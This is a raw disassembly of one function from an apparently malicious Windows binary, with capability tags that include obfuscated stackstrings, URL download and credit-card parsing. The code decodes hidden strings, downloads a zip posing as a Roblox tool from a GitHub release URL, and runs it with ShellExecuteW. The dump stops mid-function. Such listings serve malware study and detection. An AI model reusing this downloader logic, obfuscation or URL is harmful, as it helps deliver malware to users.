Function at 0x1400f5e10
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Download url
Parse credit card information
Receive data
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3d70]
mov eax, 0x3e70
call fcn.1401a81d0
sub rsp, rax
movaps xmmword [rsp + 0x3e60], xmm6
movaps xmmword [rsp + 0x3e50], xmm7
movaps xmmword [rsp + 0x3e40], xmm8
movaps xmmword [rsp + 0x3e30], xmm9
movaps xmmword [rsp + 0x3e20], xmm10
movaps xmmword [rsp + 0x3e10], xmm11
movaps xmmword [rsp + 0x3e00], xmm12
movaps xmmword [rsp + 0x3df0], xmm13
movaps xmmword [rsp + 0x3de0], xmm14
movaps xmmword [rsp + 0x3dd0], xmm15
mov rax, qword [0x14029ba50]
xor rax, rsp
mov qword [rbp + 0x3cc0], rax
mov rsi, rdx
movsxd r15, ecx
mov dword [rbp + 0xc10], 0x380b225d
mov word [rbp + 0xc14], 0x2434
mov byte [rbp + 0xc16], 0x9c
xor eax, eax
mov qword [rbp + 0xc17], rax
mov dword [rbp + 0xc1f], eax
xor ebx, ebx
mov qword [rsp + 0x50], rbx
mov rax, qword [rsp + 0x50]
movabs r9, 0x5dce3a6fd32dac6b
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xc10]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x13
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xc10], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x13
jb 0x1400f5ef0
lea rdx, [rbp + 0xc10]
lea rcx, [rbp + 0x14d0]
call fcn.1400f1e70
nop
mov dword [rbp + 0xbb0], 0x659b6db3
mov dword [rbp + 0xbb4], 0xb4aeb5df
mov word [rbp + 0xbb8], 0xf1ac
xor eax, eax
mov qword [rbp + 0xbba], rax
mov dword [rbp + 0xbc2], eax
mov qword [rsp + 0x50], rbx
mov rax, qword [rsp + 0x50]
movabs r9, 0xa584566cf63881df
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xbb0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x19
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xbb0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x16
jb 0x1400f5f92
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp + 0x14f0]
call fcn.1400f1e70
nop
mov edx, 0xa
lea rcx, [rbp + 0x1078]
call fcn.14011af50
mov rcx, rax
call fcn.1400f1dc0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, [rbp + 0x1078]
call fcn.1400f1dd0
lea rcx, [0x14011c4c0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
lea rdx, [rbp + 0x13a8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rbp + 0x13a8]
or edx, 0xc
mov dword [rbp + 0x13a8], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov r13b, 1
mov dword [rsp + 0x5c], r13d
lea rdx, [0x140240cab]
lea rcx, [rbp + 0x1490]
call fcn.1400f1e70
nop
lea rdx, [0x140240cab]
lea rcx, [rbp + 0x13c0]
call fcn.1400f1e70
nop
xor r9d, r9d
mov edi, r9d
mov r14, r15
lea r12, [r9 - 1]
test r15d, r15d
jle 0x1400f6660
mov ebx, r9d
movabs r10, 0x6ee0dad5d34bb1ea
movabs r11, 0xcf82256f7b6f1213
mov dword [rbp + 0x510], 0xcff4fe35
mov dword [rbp + 0x514], 0x6fcbfdcd
xor eax, eax
mov qword [rbp + 0x518], rax
mov qword [rsp + 0x50], r9
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jae 0x1400f6151
movabs r14, 0xe3a48d49c6c4a251
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x510]
add rcx, r14
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x37
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x510], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jb 0x1400f6100
mov r14, r15
mov rax, qword [rsi + rbx*8]
lea r8, [rbp + 0x510]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400f6173
inc rax
test ecx, ecx
jne 0x1400f6160
test edx, edx
jne 0x1400f619b
mov rdx, qword [rsi + rbx*8 + 8]
mov r8, r12
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x1400f6180
lea rcx, [rbp + 0x1490]
call fcn.1400f1f10
jmp 0x1400f64d9
mov dword [rbp + 0xbd0], 0x11b0741
mov dword [rbp + 0xbd4], 0x771e0619
xor eax, eax
mov qword [rbp + 0xbd8], rax
mov dword [rbp + 0xbe0], eax
mov qword [rsp + 0x50], r9
mov rax, qword [rsp + 0x50]
cmp rax, 0x14
jae 0x1400f6238
movabs r10, 0xe749361f7e1f656e
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xbd0]
add rcx, r10
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 2
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xbd0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x14
jb 0x1400f61e0
movabs r10, 0x6ee0dad5d34bb1ea
mov rax, qword [rsi + rbx*8]
lea r8, [rbp + 0xbd0]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400f6263
inc rax
test ecx, ecx
jne 0x1400f6250
test edx, edx
jne 0x1400f63aa
lea rcx, [rbp + 0x1098]
call fcn.1400f4ae0
nop
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x1690]
mov rcx, rax
call fcn.1400fd970
nop
lea rcx, [rbp + 0x1098]
call fcn.1400f3920
mov dword [rbp + 0xa90], 0xb1b8b8c8
mov dword [rbp + 0xa94], 0x474bcaf7
mov dword [rbp + 0xa98], 0x3e4e3438
mov dword [rbp + 0xa9c], 0x4733034e
mov word [rbp + 0xaa0], 0xdd31
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xaa2], xmm0
mov word [rbp + 0xab2], ax
mov byte [rbp + 0xab4], al
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movabs r14, 0x30e41eb2619ab6fa
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xa90]
add r8, r14
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x2a
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xa90], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x25
jb 0x1400f62f6
mov r14, r15
lea r8, [rbp + 0xa90]
lea rdx, [rbp + 0x1690]
lea rcx, [rbp + 0x1058]
call fcn.1400fd7a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xe98]
call fcn.1400fdc40
nop
lea rcx, [rbp + 0xe98]
call fcn.1400f4aa0
nop
lea rcx, [rbp + 0xe98]
call fcn.1400f3920
nop
lea rcx, [rbp + 0x1058]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x1690]
call fcn.1400f1dd0
jmp 0x1400f64d9
mov dword [rbp + 0xac0], 0x4f4f7281
mov dword [rbp + 0xac4], 0x417f4043
mov word [rbp + 0xac8], 0xd971
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xaca], xmm0
mov word [rbp + 0xada], ax
mov byte [rbp + 0xadc], al
mov qword [rsp + 0x50], r9
mov rax, qword [rsp + 0x50]
cmp rax, 0x1d
jae 0x1400f6455
movabs r10, 0x80b29c0b944f8c63
nop word [rax + rax]
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xac0]
add r8, r10
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x4b
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xac0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1d
jb 0x1400f6400
movabs r10, 0x6ee0dad5d34bb1ea
mov rax, qword [rsi + rbx*8]
lea r8, [rbp + 0xac0]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400f6476
inc rax
test ecx, ecx
jne 0x1400f6463
test edx, edx
jne 0x1400f64f5
lea eax, [r15 - 1]
cmp edi, eax
lea rdx, str.output
je 0x1400f648e
mov rdx, qword [rsi + rbx*8 + 8]
mov r8, r12
inc r8
cmp byte [rdx + r8], 0
jne 0x1400f6491
lea rcx, [rbp + 0x13c0]
call fcn.1400f1f10
lea rdx, str.auto_save_file
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400fdca0
mov rcx, rax
lea rdx, [rbp + 0x13c0]
call fcn.1400fde70
lea rdx, [0x1400fde90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
movabs r10, 0x6ee0dad5d34bb1ea
movabs r11, 0xcf82256f7b6f1213
jmp 0x1400f664d
mov dword [rbp - 0x30], 0x38387879
mov dword [rbp - 0x2c], 0x3e282637
mov dword [rbp - 0x28], 0x932d2924
xor eax, eax
mov dword [rbp - 0x24], eax
mov qword [rsp + 0x50], r9
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jae 0x1400f6568
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax - 0x30]
add rcx, r10
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x66
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x30], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jb 0x1400f6520
mov rax, qword [rsi + rbx*8]
lea r8, [rbp - 0x30]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400f6586
inc rax
test ecx, ecx
jne 0x1400f6573
test edx, edx
je 0x1400f664d
mov dword [rbp + 0xa20], 0xe2e6a6a1
mov dword [rbp + 0xa24], 0xedeef2ee
mov dword [rbp + 0xa28], 0x9beef2fd
xor eax, eax
mov qword [rbp + 0xa2c], rax
mov dword [rbp + 0xa34], eax
mov qword [rsp + 0x50], r9
mov rax, qword [rsp + 0x50]
cmp rax, 0x18
jae 0x1400f661e
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xa20]
add rcx, r11
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x7b
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xa20], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x18
jb 0x1400f65d0
mov rax, qword [rsi + rbx*8]
lea r8, [rbp + 0xa20]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400f6643
inc rax
test ecx, ecx
jne 0x1400f6630
movzx r13d, r13b
test edx, edx
cmove r13d, r9d
inc edi
inc rbx
cmp rbx, r14
jl 0x1400f60c2
mov dword [rsp + 0x5c], r13d
cmp qword [rbp + 0x14a0], 0
je 0x1400f76e0
mov dword [rbp + 0x630], 0x39c1ccd9
mov dword [rbp + 0x634], 0xa5f63635
mov dword [rbp + 0x638], 0x4fbabebd
mov dword [rbp + 0x63c], 0xff81abf0
mov dword [rbp + 0x640], 0xb7b7b04e
mov dword [rbp + 0x644], 0x55a7f947
mov dword [rbp + 0x648], 0xaf5258e4
mov dword [rbp + 0x64c], 0x9ba35da1
mov dword [rbp + 0x650], 0xeba756ec
mov dword [rbp + 0x654], 0xd79b57a9
mov dword [rbp + 0x658], 0x6d6c689b
mov dword [rbp + 0x65c], 0x6b62639d
mov dword [rbp + 0x660], 0x6993dd65
mov dword [rbp + 0x664], 0x73876567
mov dword [rbp + 0x668], 0x88708c70
mov dword [rbp + 0x66c], 0xd97288c0
mov byte [rbp + 0x670], 0xec
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x671], xmm0
mov dword [rbp + 0x681], eax
mov qword [rsp + 0x50], r9
mov rax, qword [rsp + 0x50]
cmp rax, 0x55
jae 0x1400f678f
movabs r9, 0x3a05e2c08fa5ee3a
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x630]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x6a
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x630], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x55
jb 0x1400f6741
lea rcx, [rbp + 0x630]
call fcn.1400f2b40
mov dword [rbp + 0x930], 0xd050ef4
mov dword [rbp + 0x934], 0x13170a08
mov dword [rbp + 0x938], 0xeb2d3731
mov dword [rbp + 0x93c], 0x2e2a3d39
mov dword [rbp + 0x940], 0xfdfc2434
mov word [rbp + 0x944], 0x9ffa
mov byte [rbp + 0x946], 0x86
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x947], xmm0
mov dword [rbp + 0x957], eax
mov word [rbp + 0x95b], ax
xor edi, edi
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
movabs r9, 0xc99924b46f10c198
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x930]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x28
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x930], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x2d
jb 0x1400f6810
lea rcx, [rbp + 0x930]
call fcn.1400f2b40
mov dword [rbp + 0x900], 0x98839080
mov dword [rbp + 0x904], 0x55919492
mov dword [rbp + 0x908], 0x83819c96
mov dword [rbp + 0x90c], 0x48b44b8c
mov dword [rbp + 0x910], 0x838bb34e
mov byte [rbp + 0x914], 0x30
xor eax, eax
mov qword [rbp + 0x915], rax
mov dword [rbp + 0x91d], eax
mov word [rbp + 0x921], ax
mov byte [rbp + 0x923], al
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
movabs r9, 0xe320c4d699c73086
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x900]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x56
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x900], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x24
jb 0x1400f68d3
lea rcx, [rbp + 0x10b8]
call fcn.1400f4ae0
nop
lea r8, [rbp - 0x3f]
lea rdx, [rbp + 0xf58]
mov rcx, rax
call fcn.1400fd970
nop
lea rax, [rbp + 0x900]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400f6950
lea rdx, [rbp + 0x900]
lea rcx, [rbp + 0xf58]
call fcn.1400f2070
mov rdx, rax
lea rcx, [rbp + 0x1650]
call fcn.1400f1e40
nop
lea rcx, [rbp + 0xf58]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x10b8]
call fcn.1400f3920
lea rcx, [rbp + 0x1650]
call fcn.1400f1dc0
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8, rax
lea rdx, str.https:__github.com_Roblox_Devs_magnus_night_v3_releases_latest_download_magnus.night.v3.zip
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x1400f6fbd
mov dword [rbp + 0xa40], 0x9a8c9fb9
mov dword [rbp + 0xa44], 0x859f8180
mov dword [rbp + 0xa48], 0x8b8f559f
mov dword [rbp + 0xa4c], 0x9a8a989c
mov dword [rbp + 0xa50], 0xd304f4e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa54], xmm0
mov byte [rbp + 0xa64], al
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
movabs r9, 0x148be846bfe240ae
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xa40]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x3e
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xa40], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x25
jb 0x1400f6a20
lea rcx, [rbp + 0xa40]
call fcn.1400f2b40
lea rdx, [rbp + 0x1490]
lea rcx, [rbp + 0x1650]
call fcn.1400f5850
test al, al
je 0x1400f6fbd
mov dword [rbp + 0x860], 0xcccff1ab
mov dword [rbp + 0x864], 0xc6f2f6fc
mov dword [rbp + 0x868], 0xf8c7f18e
mov dword [rbp + 0x86c], 0xc0c289fa
mov dword [rbp + 0x870], 0x81c9fec2
mov dword [rbp + 0x874], 0x5fa68380
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x878], xmm0
mov word [rbp + 0x888], ax
mov byte [rbp + 0x88a], al
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
movabs r9, 0x83dd4573cfaa7e91
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x860]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 9
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x860], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x2b
jb 0x1400f6b00
lea rcx, [rbp + 0x860]
call fcn.1400f2b40
mov dword [rbp + 0x9f0], 0xc4c3ccdc
mov dword [rbp + 0x9f4], 0x9f5f0ca
mov dword [rbp + 0x9f8], 0xc3cdc0c6
mov dword [rbp + 0x9fc], 0x3cf803f8
mov dword [rbp + 0xa00], 0xc3fbcb3e
mov byte [rbp + 0xa04], 0x54
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa05], xmm0
mov dword [rbp + 0xa15], eax
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
movabs r9, 0x68540f4b2192ccd0
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x9f0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x50
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x9f0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x29
jb 0x1400f6bc0
lea rcx, [rbp + 0x10d8]
call fcn.1400f4ae0
nop
lea r8, [rbp - 0x3e]
lea rdx, [rbp + 0xf38]
mov rcx, rax
call fcn.1400fd970
nop
lea rax, [rbp + 0x9f0]
inc r12
cmp byte [rax + r12], 0
jne 0x1400f6c36
mov r8, r12
lea rdx, [rbp + 0x9f0]
lea rcx, [rbp + 0xf38]
call fcn.1400f2070
mov rdx, rax
lea rcx, [rbp + 0xfd8]
call fcn.1400f1e40
nop
xor r8d, r8d
lea rdx, [rbp + 0xfd8]
lea rcx, [rbp + 0xed8]
call fcn.1400fdc40
nop
lea rcx, [rbp + 0xed8]
call fcn.1400f4aa0
nop
lea rcx, [rbp + 0xed8]
call fcn.1400f3920
nop
lea rcx, [rbp + 0xfd8]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0xf38]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x10d8]
call fcn.1400f3920
mov dword [rbp + 0x390], 0xe2e6ddf9
mov dword [rbp + 0x394], 0xd0a6e4d4
mov dword [rbp + 0x398], 0x9e9de2d1
mov dword [rbp + 0x39c], 0xaaa4aeaf
mov dword [rbp + 0x3a0], 0xa4d2e1a0
mov dword [rbp + 0x3a4], 0xae93bb91
mov dword [rbp + 0x3a8], 0x8abea2a6
mov dword [rbp + 0x3ac], 0xcf8b8eba
mov dword [rbp + 0x3b0], 0xbfbeb4a7
mov dword [rbp + 0x3b4], 0x82b6b2c0
mov dword [rbp + 0x3b8], 0x8983c5b6
mov dword [rbp + 0x3bc], 0x88feccf8
mov dword [rbp + 0x3c0], 0x8181bab9
mov dword [rbp + 0x3c4], 0xc5c486b4
mov word [rbp + 0x3c8], 0xebc6
mov byte [rbp + 0x3ca], 0xa
xor eax, eax
mov dword [rbp + 0x3cb], eax
mov word [rbp + 0x3cf], ax
mov byte [rbp + 0x3d1], al
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
movabs r9, 0xf9e569d148afbc36
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x390]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x7a
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x390], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x42
jb 0x1400f6d82
lea rcx, [rbp + 0x390]
call fcn.1400f2b40
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x9b0], 0x989380b0
mov dword [rbp + 0x9b4], 0xd7616462
mov dword [rbp + 0x9b8], 0x93919c86
mov dword [rbp + 0x9bc], 0xa884d96c
mov dword [rbp + 0x9c0], 0x867a98ae
mov byte [rbp + 0x9c4], 0xe0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x9c5], xmm0
mov dword [rbp + 0x9d5], eax
mov word [rbp + 0x9d9], ax
mov byte [rbp + 0x9db], al
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
movabs r9, 0xba9c0eebe59dddde
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x9b0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x12
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x9b0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x2c
jb 0x1400f6e50
lea r8, [rbp + 0x9b0]
lea rdx, [rbp + 0x1490]
lea rcx, [rbp + 0x1610]
call fcn.1400fd7a0
nop
mov dword [rsp + 0x70], 0x23982d51
mov dword [rsp + 0x74], 0x27942199
mov dword [rsp + 0x78], 0x3b8d259d
mov dword [rsp + 0x7c], 0x3f3e3980
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
movabs r9, 0x4768401621568a86
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x70]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x56
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x70], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jb 0x1400f6ef0
lea rdx, [rbp + 0xe08]
lea rcx, [rbp + 0x1610]
call fcn.1400fcca0
mov rbx, qword [rax]
lea rdx, [rbp + 0xe00]
lea rcx, [rbp + 0x1610]
call fcn.1400fccc0
lea r9, [rsp + 0x59]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x10f8]
call fcn.1400fded0
mov rcx, rax
call fcn.1400fd6e0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x70]
mov r8, rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x10f8]
call fcn.1400f3920
nop
lea rcx, [rbp + 0x1610]
call fcn.1400f1dd0
jmp 0x1400f76cf
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x1930]
call fcn.1401a88dc
mov dword [rbp + 0x8b0], 0xb9b1be80
mov dword [rbp + 0x8b4], 0xbbb7babc
mov dword [rbp + 0x8b8], 0x868ebdc6
mov word [rbp + 0x8bc], 0x1184
xor eax, eax
mov qword [rbp + 0x8be], rax
mov dword [rbp + 0x8c6], eax
mov word [rbp + 0x8ca], ax
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
movabs r9, 0xa9e3b36a64cf005a
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x8b0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x76
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x8b0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1c
jb 0x1400f7022
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x8b0]
lea rcx, [rbp + 0x1930]
call fcn.1400fc2d0
nop
mov dword [rbp - 0x20], 0x4e56411c
mov dword [rbp - 0x1c], 0x4f121340
mov dword [rbp - 0x18], 0x154e704d
mov dword [rbp - 0x14], 0x43535808
mov dword [rbp - 0x10], 0x47522969
mov dword [rbp - 0xc], 0x5a135548
mov dword [rbp - 8], 0x4d5b4c51
mov dword [rbp - 4], 0x222c5f79
mov dword [rbp], 0x28272b26
mov dword [rbp + 4], 0x1456572c
mov dword [rbp + 8], 0x2e3e2727
mov dword [rbp + 0xc], 0x4d6b213a
mov dword [rbp + 0x10], 0x264a6278
mov dword [rbp + 0x14], 0x3f633136
mov dword [rbp + 0x18], 0x30322d2c
mov dword [rbp + 0x1c], 0x494a56
mov dword [rbp + 0x20], 0x16021501
mov dword [rbp + 0x24], 0x354336
mov dword [rbp + 0x28], 0x4204605
mov dword [rbp + 0x2c], 0x719192e
mov dword [rbp + 0x30], 0x517355d
mov dword [rbp + 0x34], 0x26135217
mov dword [rbp + 0x38], 0x100f171f
mov dword [rbp + 0x3c], 0xe0e7eba9
mov dword [rbp + 0x40], 0xf5aff5e0
mov dword [rbp + 0x44], 0xeae4a2a7
mov dword [rbp + 0x48], 0xe0d3ece4
mov dword [rbp + 0x4c], 0xfbb9fef1
mov dword [rbp + 0x50], 0xf8f7e5c9
mov dword [rbp + 0x54], 0xf0fab2e8
mov dword [rbp + 0x58], 0xf4f6f7ef
mov dword [rbp + 0x5c], 0xca89c1fd
mov dword [rbp + 0x60], 0xd6ccc6f9
mov dword [rbp + 0x64], 0xcec083c7
mov dword [rbp + 0x68], 0x85dec9cf
mov dword [rbp + 0x6c], 0xc5989ec2
mov dword [rbp + 0x70], 0xaba8d9d1
mov dword [rbp + 0x74], 0x90828393
